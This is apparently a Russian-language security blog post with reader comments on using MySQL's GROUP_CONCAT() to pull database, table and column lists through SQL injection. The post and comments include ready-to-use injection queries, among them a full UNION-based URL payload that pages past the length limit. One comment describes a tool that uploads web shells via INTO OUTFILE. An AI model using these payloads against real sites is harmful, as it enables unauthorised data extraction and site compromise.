GROUP_CONCAT()

Функция GROUP_CONCAT() позволяет объединить в одну строку несколько записей из таблицы, при этом можно задавать свой собственный символ разделения, а также воспользоваться операторами DISTINCT, ORDER BY, ASC/DESC. Впервые функция появилась в MySQL версии 4.1. Полный синтаксис и примеры использования можно посмотреть в официальной документации MySQL.

В SQL-инъекции GROUP_CONCAT() может пригодиться при получении списка баз данных, таблиц и их колонок из information_schema (разумеется, при MySQL 5.*).

  • SELECT GROUP_CONCAT(SCHEMA_NAME SEPARATOR 0x0a) FROM information_schema.SCHEMATA
    список баз данных в одном поле
  • SELECT GROUP_CONCAT(TABLE_NAME SEPARATOR 0x0a) FROM information_schema.TABLES
    список всех таблиц из текущей базы данных
  • SELECT GROUP_CONCAT(TABLE_NAME SEPARATOR 0x0a) FROM information_schema.TABLES WHERE TABLE_SCHEMA=0x73697465
    список всех таблиц из базы данных site
  • SELECT GROUP_CONCAT(COLUMN_NAME SEPARATOR 0x0a) FROM information_schema.COLUMNS WHERE TABLE_NAME=0x7573657273
    список колонок таблицы users

Главной проблемой данной функции является то, что объем возвращаемых ей данных ограничен системной переменной group_concat_max_len, по умолчанию значение которой равняется 1024 байтам. Изменить это значение, внедрив конструкцию SET GLOBAL group_concat_max_len=val в SQL-инъекцию естественно не получится, так как MySQL не поддерживает выполнение нескольких запросов, разделенных точкой с запятой. Конечно можно было бы смириться с таким ограничением, если бы GROUP_CONCAT() наряду с ORDER BY и DESC/ASC поддерживал бы LIMIT, но этого не дано. Таким образом, использовать данную функцию удобно лишь при получении заведомо небольших объемов данных.


19 comments:

  1. wi11son, 18. October 2008, 21:10

    как всегда мануал по базам, дает найбольшую информацию об инъекциях 😉

     
  2. Best, 21. October 2008, 11:12

    Раз уж зашёл разговор о CONCAT’ах, то хочу добавить ещё одну функцию, CONCAT_WS(). Её отличие от обычного конката в том, что первым параметром он принимает разделитель, а потом перечисление полей через запятую. Он не подойдет для замены GROUP_CONCAT(), так как он требует цеклического обращения к запросу, а вот вместо CONCAT(e_mail,char(38),pass,char(38),login,char(38),address,char(38),nick,char(38),date_reg) будет очень удобно использовать CONCAT_WS(char(38),e_mail,pass,login,address,nick,date_reg).

    GROUP_CONCAT() удобен в ситуации, когда при инъекции возвращается только одна запись. В таком случае эта функция экономит очень много времени, так как её результат – одно значение, в котором перечислено через сепаратор множество значений, одъединенных в строку, грубо говоря, это конкат не по строке, а по столбцу.

     
  3. Best, 21. October 2008, 11:39

    Так же GROUP_CONCAT() может принимать не одно поле, а несколько, например так:
    GROUP_CONCAT(login,char(38),pass), если сепаратор не указан через SEPARATOR, то он автоматически будет использовать запятую.

     
  4. Raz0r, 21. October 2008, 21:35

    >Так же GROUP_CONCAT() может принимать не одно поле, а несколько
    да-да все это есть в документации, но к сожалению GROUP_CONCAT на практике имеет очень маленькое применение в виду ограничений, изложенных выше. Если бы не group_concat_max_len, то через одну выводимую запись в sql-инъекции можно бы было за один запрос получить всю базу данных, но увы…

     
  5. Best, 22. October 2008, 11:51

    Ну приминение можно и расширить, например с использованием групировки:

    SELECT group_concat(`TABLE_NAME`)
    FROM `information_schema`.`tables`
    GROUP BY `TABLE_SCHEMA`
    LIMIT 0,1
    

    Перебирая лимитом строки, мы получаем таблицы, в разных базах данных. Зачем нам, например, системные таблицы из базы `information_schema`, я их и так знаю наизусть :), а они отжирают место у тех таблиц, имена которых мне не известны. Можно конечо было бы написать условие, что `TABLE_SCHEMA` <> ‘information_schema’, но таблицы из всех баз все равно могут не поместится, а будучи сгрупированными, вероятность их влезания в 1024 байта гораздо выше.

     
  6. illusions, 21. April 2009, 15:30

    Как раз в одном запросе использую GROUP_CONCAT
    Возникла такая проблема – нельзя сравнить результирующий GROUP_CONCAT со значением, например

    SELECT id, GROUP_CONCAT(liefers_products.product_name SEPARATOR ‘, ‘) AS products
    FROM …..
    INNER JOIN ….
    WHERE products LIKE ”

    При добавленни WHERE products LIKE – дает ошибку

     
  7. illusions, 21. April 2009, 16:03

    Понял ошибку, надо в HAVING переносить

     
  8. mg, 1. August 2009, 20:30

    как на счет такой альтернативной конструкции
    select concat_ws(char(58),(select column from table limit 0,1),(select column from table limit 1,1),…) ;

     
  9. Raz0r, 3. August 2009, 14:26

    Выйдет слишком длинный запрос, который будет отлично виден в логах

     
  10. Ssdd, 9. September 2009, 14:27

    Интересно какая реализация для MsSQL есть, точнее как можно сделать что то вроде group_concat в мсскл?
    Так как мсскл лишина этой “роскоши” 🙁

     
  11. Raz0r, 9. September 2009, 19:38

    При написании статьи интересовался этим вопросом и могу сказать, что в MSSQL реализовать аналог функции GROUP_CONCAT() можно посредством создания пользовательской хранимой процедуры. Примеры такой процедуры:
    http://sodeve.net/ms-sql-version-of-mysqls-group_concat/
    Кроме того как альтернативу GROUP_CONCAT можно рассматривать конструкцию FOR XML RAW

     
  12. iHornet, 6. December 2009, 15:19

    Категорически не согласен с утверждением, что GROUP_CONCAT можно использовать только для возврата небольших объемов данных, т.к. именно на этой функции базируется моя утилита “Медвежья хватка” (MedWebGrasp). Ограничение на длину возвращаемого результата прекрасно обходится.. Вот как выглядит полный вариант этой функции:
    GROUP_CONCAT([DISTINCT] expr [,expr …] [ORDER BY {unsigned_integer | col_name | expr}
    [ASC | DESC] [,col_name …]] [SEPARATOR str_val])
    Суть обхода – получение информации последовательными порциями по 1024 байта. Чтобы эти порции упорядочить и выбирать нужную можно воспользоваться опцией ORDER BY и соответствующим условием в самом запросе. Вот, например, как выглядит запрос для очередной порции списка непустых таблиц из инф.схемы:
    ?id=0+UNION+SELECT+group_concat(Table_schema,0x60,Table_name,0x60,Table_rows+
    ORDER+BY+concat(Table_schema,0x60,Table_name,0x60,Table_rows)+separator+0x5E)+
    FROM+Information_schema.Tables+WHERE+Table_rows+and+
    concat(Table_schema,0x60,Table_name,0x60,Table_rows)>0x746573746063616368655F696D61676573697A6573603233
    Главная задача автоматизации в таком переборе – определение последнего “токена” в выдаваемом списке и подстановка его в последнее условие.

     
  13. Raz0r, 6. December 2009, 21:53

    Представленный вами способ действительно эффективен, но это не обход ограничения, так как в любом случае максимальная длина получаемых данных за один запрос – 1024 байта. Кстати где вашу утилиту можно посмотреть? 🙂

     
  14. iHornet, 6. December 2009, 23:38

    Пока нигде, т.к. в “свет” я ее еще не выпустил – есть задумки, которые можно еще реализовать, но уже сейчас она умеет многое, правда работает пока только по SI-Mysql сайтам. Есть сканер портов и папок (в т.ч. и через load_file). Имеется “читалка” файлов и директорий. Имеется инфектор для аплоада шеллов через into outfile. Легко настраивается sql-профилями под ненапряжное исследование сайта – работать с инжектом можно почти не касаясь клавы 🙂 Все собранные данные хранит в БД Access и позволяет легко их просматривать. ИМХО проект довольно перспективный. Если есть интерес, могу прислать на пробу 🙂

     
  15. Ruslan, 23. September 2010, 14:26

    Старая запись и автор наверное не увидит месаги, Raz0r, а не мог бы ты мне выслать эту его утилитку? 🙂 Огромное спасибо 🙂

     
  16. Ruslan, 23. September 2010, 14:28

    Упс… нашел сам 🙂 http://mwgrasp.oni.cc/

     
  17. mg, 25. November 2010, 9:50

    вот как вариант замена group_concat
    если есть таблица test с полем id целое, уникальное
    то можно вывести в строку значеия поля field

    число раз = select count(id) from table

    select concat(
    @a2:=(select min(id)-1 from test),
    @b:=0,
    benchmark(число раз,
    @b:=concat(
    @a2:=(select id from test where id>@a2 limit 1),
    0x3a,@b,@b2:=(select concat(field,0x2c) from test where id=@a2)
    )
    ),
    cast(@b as char));
    минус запроса – время выполнения
    запрос можно доработать, надо сделать проверку на id0

    p.s:
    может, как вариант сделать что-то подобное без привязвки к полю id с использованием not in

     
  18. Raz0r, 25. November 2010, 23:23

    когда-то это было приватом 🙂

     
  19. Мик, 16. December 2013, 16:13

    Если нужен LIMIT в GROUP_CONCAT то помните что результат это строка, а занчит лимит можно легко сделать при помощи строковой функции SUBSTRING_INDEX указав тот же разделитель и кол-во отсекаемых строк

     

Write a comment: